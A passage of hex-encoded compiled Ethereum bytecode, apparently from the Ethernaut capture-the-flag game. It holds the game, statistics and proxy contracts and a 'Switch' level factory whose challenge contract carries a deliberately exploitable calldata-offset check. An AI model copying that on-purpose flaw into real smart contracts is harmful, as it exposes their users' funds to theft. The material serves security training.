ffffffffffff821115620021ce57620021ce62001dc5565b5060051b60200190565b5f620021e862001ead8462001e39565b9050828152838383011115620021fc575f80fd5b62001b8b83602083018462001ee5565b5f82601f8301126200221c575f80fd5b62001b8b83835160208501620021d8565b80516200223a8162001d1f565b919050565b5f602080838503121562002251575f80fd5b825167ffffffffffffffff8082111562002269575f80fd5b818501915085601f8301126200227d575f80fd5b81516200228e62001ead82620021b2565b81815260059190911b83018401908481019088831115620022ad575f80fd5b8585015b83811015620023ae57805185811115620022c9575f80fd5b86016060818c03601f19011215620022df575f80fd5b620022e962001dd9565b8882015187811115620022fa575f80fd5b8201603f81018d136200230b575f80fd5b898101516200231e62001ead82620021b2565b81815260059190911b8201604001908b8101908f8311156200233e575f80fd5b6040840193505b82841015620023605783518252928c0192908c019062002345565b845250505060408201518781111562002377575f80fd5b620023878d8b838601016200220c565b8a830152506200239a606083016200222d565b6040820152845250918601918601620022b1565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620017d457620017d4620023bb565b5f60208284031215620023f6575f80fd5b815167ffffffffffffffff8111156200240d575f80fd5b8201601f810184136200241e575f80fd5b6200242f84825160208401620021d8565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200247081600585016020880162001ee5565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620024af81600a84016020880162001ee5565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620024f881846020880162001ee5565b8351908301906200250e81836020880162001ee5565b01949350505050565b602081525f62001b8b602083018462001f09565b600181811c908216806200254057607f821691505b6020821081036200255f57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002576575f80fd5b815162001b8b8162001d1f565b5f82516200259681846020870162001ee5565b9190910192915050565b5f60208284031215620025b1575f80fd5b8151801515811462001b8b575f80fd5b5f60208284031215620025d2575f80fd5b5051919050565b80820180821115620017d457620017d4620023bb565b604081525f62002603604083018562001f09565b828103602084015262002617818562001f09565b95945050505050565b5f6020828403121562002631575f80fd5b815167ffffffffffffffff81111562002648575f80fd5b6200242f848285016200220c56fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61087e8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610331565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610353565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610331565b6101bb565b610114610250565b61011d5f6102a9565b565b5f8060405161012d90610310565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050806001600160a01b031663f9f8f8956040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b3919061038a565b949350505050565b6101c3610250565b6001600160a01b0381166102445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024d816102a9565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023b565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61049f806103aa83390190565b6001600160a01b038116811461024d575f80fd5b5f60208284031215610341575f80fd5b813561034c8161031d565b9392505050565b5f8060408385031215610364575f80fd5b823561036f8161031d565b9150602083013561037f8161031d565b809150509250929050565b5f6020828403121561039a575f80fd5b8151801515811461034c575f80fdfe60806040525f805464ffffffff0019166420606e1500179055348015610023575f80fd5b5061046e806100315f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80635a2cfa661161004d5780635a2cfa661461008557806376227e12146100cc578063f9f8f895146100d4575f80fd5b806320606e151461006857806330c13ade14610072575b5f80fd5b6100706100f0565b005b610070610080366004610361565b61014f565b5f5461009690610100900460e01b81565b6040517fffffffff0000000000000000000000000000000000000000000000000000000090911681526020015b60405180910390f35b6100706102b9565b5f546100e09060ff1681565b60405190151581526020016100c3565b3330146101445760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c792074686520636f6e74726163742063616e2063616c6c20746869730060448201526064015b60405180910390fd5b5f805460ff19169055565b610157610316565b6004604482375f54815161010090910460e01b7fffffffff0000000000000000000000000000000000000000000000000000000016146101ff5760405162461bcd60e51b815260206004820152602860248201527f43616e206f6e6c792063616c6c20746865207475726e4f66665377697463682060448201527f66756e6374696f6e000000000000000000000000000000000000000000000000606482015260840161013b565b5f3073ffffffffffffffffffffffffffffffffffffffff1683604051610225919061040c565b5f604051808303815f865af19150503d805f811461025e576040519150601f19603f3d011682016040523d82523d5f602084013e610263565b606091505b50509050806102b45760405162461bcd60e51b815260206004820152600e60248201527f63616c6c206661696c6564203a28000000000000000000000000000000000000604482015260640161013b565b505050565b3330146103085760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c792074686520636f6e74726163742063616e2063616c6c207468697300604482015260640161013b565b5f805460ff19166001179055565b60405180602001604052806001906020820280368337509192915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f60208284031215610371575f80fd5b813567ffffffffffffffff80821115610388575f80fd5b818401915084601f83011261039b575f80fd5b8135818111156103ad576103ad610334565b604051601f8201601f19908116603f011681019083821181831017156103d5576103d5610334565b816040528281528760208487010111156103ed575f80fd5b826020860160208301375f928101602001929092525095945050505050565b5f82515f5b8181101561042b5760208186018101518583015201610411565b505f92019182525091905056fea264697066735822122055ac63fc356b6bfa4cbc0e9135bac6a6642b324508b8511e07cda734a6cdffb364736f6c63430008180033a264697066735822122011bd8b6f5d16ab1e7e5092e4843f72f39de77828e14b49723b0b3ca2ec2e7fa864736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e2069732074686